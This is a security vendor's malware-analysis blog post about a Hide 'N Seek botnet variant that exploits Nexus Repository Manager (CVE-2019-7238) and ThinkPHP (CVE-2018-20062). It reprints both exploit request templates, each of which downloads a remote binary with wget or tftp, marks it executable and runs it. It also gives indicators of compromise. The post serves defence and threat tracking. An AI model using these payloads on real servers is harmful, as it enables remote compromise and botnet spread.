Hide ‘N Seek Botnet Updates Arsenal with Exploits Against Nexus Repository Manager & ThinkPHP

unit42.paloaltonetworks.com/hide-n-seek-botnet-updates-arsenal-with-exploits-against-nexus-repository-manager-thinkphp/

Ruchna Nigam June 12, 2019

By Ruchna Nigam

June 12, 2019 at 6:00 AM

Category: Unit 42

Tags: CVE-2018-20062, CVE-2019-7238, exploits, HideNSeek, IoT, Linux, ThinkPHP

This post is also available in: 日本語 (Japanese)

Executive Summary

The Hide 'N Seek botnet was first discovered in January 2018 and is known for its unique use of Peer-to-Peer communication between bots.

Since its discovery, the malware family has seen a couple of upgrades, from the addition of persistence and new exploits, to targeting Android devices via the Android Debug Bridge (ADB).

This post details a variant of the family first seen on the 21st of February 2019, incorporating two new exploits - CVE-2018-20062 which targets ThinkPHP installations, and CVE-2019-7238, a Remote Code Execution (RCE) vulnerability in Sonatype Nexus Repository Manager (NXRM) 3 software installations.

While the ThinkPHP exploit has already been seen employed by several Mirai variants, the only other instance of the CVE-2019-7238 vulnerability being exploited in the wild has been by the DDG botnet. Our research, outlined below, shows that the Hide 'N Seek botnet incorporated this exploit back in February

2019, even before the DDG botnet.

Technical Analysis

This newest version of the Hide 'N Seek malware incorporates many of the previously seen features of the malware family including the persistence, the incorporation of exploits, and targeting Android devices via ADB.

In addition to exploits previously used by the malware family, this particular version is unique for its use of the following two new exploits:

> CVE-2019-7238, which is a RCE vulnerability in Sonatype Nexus Repository Manager installations prior to version 3.15.0. While Proof of Concept (PoC) code for this vulnerability has been publicly available since a few weeks after its public disclosure, the only other instance of it being exploited in the wild has been by the DDG botnet in May 2019. Our research has shown, based on the first seen date for samples of this new Hide 'N Seek version, that the first demonstrated exploitation in the wild was actually February 2019, a full month prior to the DDG botnet. The exploit format is shown below:

```
POST /service/extdirect HTTP/1.1

Host: %J

Accept: */*

Content-Type: application/json

Connection: close

Content-Length: %d

{"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":[{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName(',27h,'java.lang.Runtime',27h,').getRuntime().exec(['flock','-w','0','/tmp/l%N','sh','-c','(wget http://%J/%T -O %N||/bin/busybox tftp -g -l %N -r %T %I)&&chmod 777 %N&&./%N a%J a%J',27h,'])"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}
```

> CVE-2018-20062, is an RCE vulnerability in ThinkPHP. This exploit has frequently been used by Mirai variants in the wild since its public disclosure, however this is the first observed use of it by Hide 'N Seek. The exploit format is shown below:

```
GET /?s=/index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=(wget%20http://%J/%T%20-O%20%N||/bin/busybox%20tftp%20-g%20-l%20%N%20-r%20%T%20%I);chmod%20777%20%N;./%N%20a%J%20a%J

HTTP/1.1

Host: %J
```

In addition, this Hide 'N Seek variant also exploits the following vulnerabilities which it has used in the past:

- CVE-2018-7297: a RCE vulnerability in the HomeMatic Zentrale CCU2.
- CouchDB RCE
- OrientDB RCE

- Netgear DGN1000 setup.cgi RCE
- AVTECH IP Camera/NVR/DVR RCE
- TP-Link Routers backdoor

In addition to the two new exploits, this new variant also uses an XOR key of 0x87 for string encryption, which is different from previously seen variants. However, the encryption scheme used is the same as has been used by the malware family so far i.e. a cumulative byte-wise XOR. This is better explained by the IDApython code-snippet below:

```
key=0x87

for addr in range(strstart, strend):

    originalbyte = GetOriginalByte(addr)

    decryptedbyte = originalbyte^(key&0xff)

    PatchByte(addr, decryptedbyte)

    key += decryptedbyte
```

As seen in previous samples this malware family contains a list of hard-coded peers for P2P communication. The list of hard-coded peers in this new variant differs from samples seen in the past. The hard-coded peer IPs and ports in these samples can be found on our Github page here.

Conclusion

Since its discovery, the Hide `N Seek P2P Linux botnet has evolved to incorporate several new exploits to widen the range of devices it can infect. In this instance, the newly discovered variant added two recent vulnerabilities to its arsenal. In particular, it added an exploit targeting CVE-2019-7238, which, based on the dates of appearance of samples, makes this the earliest exploitation of the vulnerability in the wild.

Palo Alto Networks customers are protected by:

- WildFire, which detects all related samples with malicious verdicts
- Threat Prevention, which blocks all exploits used by this variant.

The malware family can be tracked in AutoFocus using the tag HideNSeek.

Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. For more information on the Cyber Threat Alliance, visit www.cyberthreatalliance.org.

Indicators of Compromise

First Seen	SHA256	Targeted Architecture
2019-02-21	49495c9aa08d7859fec1f99f487560b59d8a8914811746181e4e7edbee85341f	x86 64-bit

2019-02-21	d068e8f781879774f0bcc1f2a116211d41194b67024fe45966c8272a8038a7a1	ARM
2019-03-15	1583fd1c6607b77f51411c4ad7c9225324fd1b069645062a348cd885de0ac382 7e20c6cea88ade6a6c4a08ce48fe4ac2451069b7662a8dda4362a304b4854ec7	ARM
2019-03-20	0b05202f4da9bbe1af1811707a76544453282c4f3c0ac9b353759c86742f4369	MIPS big endian
2019-03-22	73df4e952c581afc427fa18fa2d0bcfa409c1814cd872a3ccf05d44f934ce780	MIPS little endian
2019-05-24	c082c39e595c7f23c04ce0d6597657d6e649585d5da49b5bd896e664b712e60d	MIPS big endian
2019-05-26	500dd4c1a5c24495c3bb8173ce5c7b15ba3344aef855090b9b9585b2bfeea974	x86

Table 1. Sample IOCs for new Hide ‘N Seek variant